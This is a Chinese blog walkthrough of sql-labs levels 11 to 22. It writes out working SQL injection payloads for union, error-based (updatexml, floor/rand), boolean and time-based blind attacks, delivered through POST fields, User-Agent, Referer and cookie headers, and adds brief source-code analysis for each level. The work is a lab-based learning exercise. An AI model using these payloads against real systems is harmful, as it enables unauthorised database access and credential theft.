通过sql-labs进行sql注入学习(11-22)
前言:
SQL注入是入門web安全的基礎,所以得仔細學習SQL注入。
從十一關開始便是POST請求,這次從第十一關來做
第11關
嘗試萬能密碼' or 1=1#,有回顯,看來是單引號閉合,抓包進行操作,還是回顯注入,不過是從GET方式變成了POST方式。
payload:
判斷列數 uname=' order by 1,2,3# 查找數據庫 uname=' union select 1,database()# 查表 uname=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 爆字段 uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+ 爆值 uname=' union select 1,group_concat(username,0x3a,password) from users --+源碼分析:
源碼中的SQL語句直接是通關單引號閉合,并沒有任何防護,所以會產生這樣的問題
第12關
輸入雙引號發現報錯信息
所以很容易就可以判斷出閉合符號為"),其他就沒有任何變化了,和第十一關一樣的姿勢
這里就列一個payload:
爆字段 uname=") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+源碼分析
分析源碼便可發現這里只不過是使用$uname='"'.$uname'."',輸入的參數閉合符號為",再拼接到$sql語句中,發現$uname前面還有一個(,所以這里拼接的閉合符號為"),但也僅限于此了,并沒有其他防護。
第13關
測試',發現報錯信息
通過這句話便可以判斷出閉合符號為'),第十三關和之前不同的就是沒有回顯,但是還有報錯信息,所以可以進行報錯注入,同樣還是先判斷列數等
爆數據庫
uname=') union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+
爆數據表
爆字段值
uname=') Union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+
爆值
源碼分析
源碼只是更改了注入成功時不輸出不再回顯,其他只是更改了')作為閉合符號。
第14關
測試出閉合符號為",類型和第十三題一樣,同為報錯注入
payload:
uname=1" union select 1,count(*) from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+源碼分析
與十三關大致相同,不多做解釋了
第十五關
當輸入uname=1' or 1=1#,發現頁面顯示成功
說明閉合符號為',這關沒有報錯信息也沒有回顯,就可以考慮布爾盲注和時間盲注了
布爾盲注
uname=1' or ascii(substr((database()),1,1))>115#&passwd=123&submit=Submit uname=1' or ascii(substr((database()),1,1))=115#&passwd=123&submit=Submit通關測試便可以發現,數據庫第一個字符為S,利用這樣的方法便可猜解出其他字符
時間盲注
uname=1' or if((ascii(substr(database(),1,1)))>100,1,sleep(10))#通過利用if語句和sleep函數,來檢測字符的ascll范圍,如果不符合要求,響應便會延遲10秒,以此來猜解出數據庫名。
源碼分析
將報錯信息和回顯信息都已注釋掉,所以只能通過盲注或時間盲注來做
SQL語句還和之前的一樣,并沒有多大的變化,沒有太大的防護
第16關
利用uname=1") or 1=1#測試發現,顯示成功,閉合符號為“),其他沒什么變化,和第15關一樣,同樣的姿勢,更改payload中的閉合符號即可,不多敘述
第17關
從第17關開始,發現頁面發生一些變化,應該有新姿勢要學習了
構造uname沒有結果,嘗試passwd,輸入單引號時,發現出現報錯信息,嘗試Xpath報錯,發現確實可以,那下面就簡單多了,直接爆數據庫、表等
爆數據庫
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit
爆數據表
爆字段
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)#&submit=Submit爆值
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit前面的都沒有什么問題,但到爆值時,發現
查了下百度,發現:
mysql中You can't specify target table for update in FROM clause錯誤的意思是說,不能先select出同一表中的某些值,再update這個表(在同一語句中)
參考文章
需要再在外面加一層select即可解決
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username from users)c limit 0,1),0x7e),1)#&submit=Submit源碼分析
根本就沒有提交uname,難怪沒有反應
第18關
這次來一個IP地址,看來又可以學到新姿勢了
猜想應該是head頭注入,但是就是沒有回顯,無奈之下,用戶名和密碼下瞎輸入uname=admin&passwd=123,發現:
這。。。。。必須登陸成功才能顯示出報錯信息
有了報錯信息,可以用第17關的Xpath報錯
輸入User-Agent: 1',發現報錯信息
嘗試User-Agent: 1' or 1=1#,回顯結果為:
利用User-Agent: 1' or '1'='1,發現回顯成功,閉合方式找到了,那payload就可以參照第17關的
爆出數據庫
下面的和第17關就大差不差了
源碼分析
function check_input($value){if(!empty($value)){// truncation (see comments)$value = substr($value,0,20);}// Stripslashes if magic quotes enabledif (get_magic_quotes_gpc()){$value = stripslashes($value);}// Quote if not a numberif (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}
有一個檢測輸入的函數,簡單審計一下代碼
使用substr函數限制了長度,如果輸入的不是都是數字則mysql_real_escape_string() 函數轉義 字符串中的特殊字符,將單引號給過濾所以我們按照常規的方法無法做出了,只能先登陸后通過User-Agent進行注入
第19關
和第十八關類似,不過這次注入點存在于Referer
測試閉合符號還是Referer: 1' or '1'='1,那應該還是可以利用Xpath報錯
payload:
Referer: 1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1源碼分析
其他防護代碼和之前一樣,只不過插入語句發生一點變化
第20關
之后的題應該都是先弱口令登入,才能查到一些信息,這關也需要先登陸,登陸之后便可以查看到
與COOKIE有關,抓包嘗試注入
嘗試出閉合符號
還是利用Xpath報錯
payload:
其他姿勢就跟上一關一樣了,不再敘述了
源碼分析
只設置了uname的cookie,其他也就沒什么可分析的
第21關
抓包發現cookie中uname=YWRtaW4,解碼為admin
提示還是cookie,那就還利用上一關的payload,base64加密傳入即可
第22關
單引號變成雙引號即可,還是一樣的payload,base64加密即可
payload:
總結
這次就先打到這里,又學習到許多新的繞過姿勢,繼續學習!
總結
以上是生活随笔為你收集整理的通过sql-labs进行sql注入学习(11-22)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BUUCTF web(一)
- 下一篇: 使用 fail2ban 防御 SSH 暴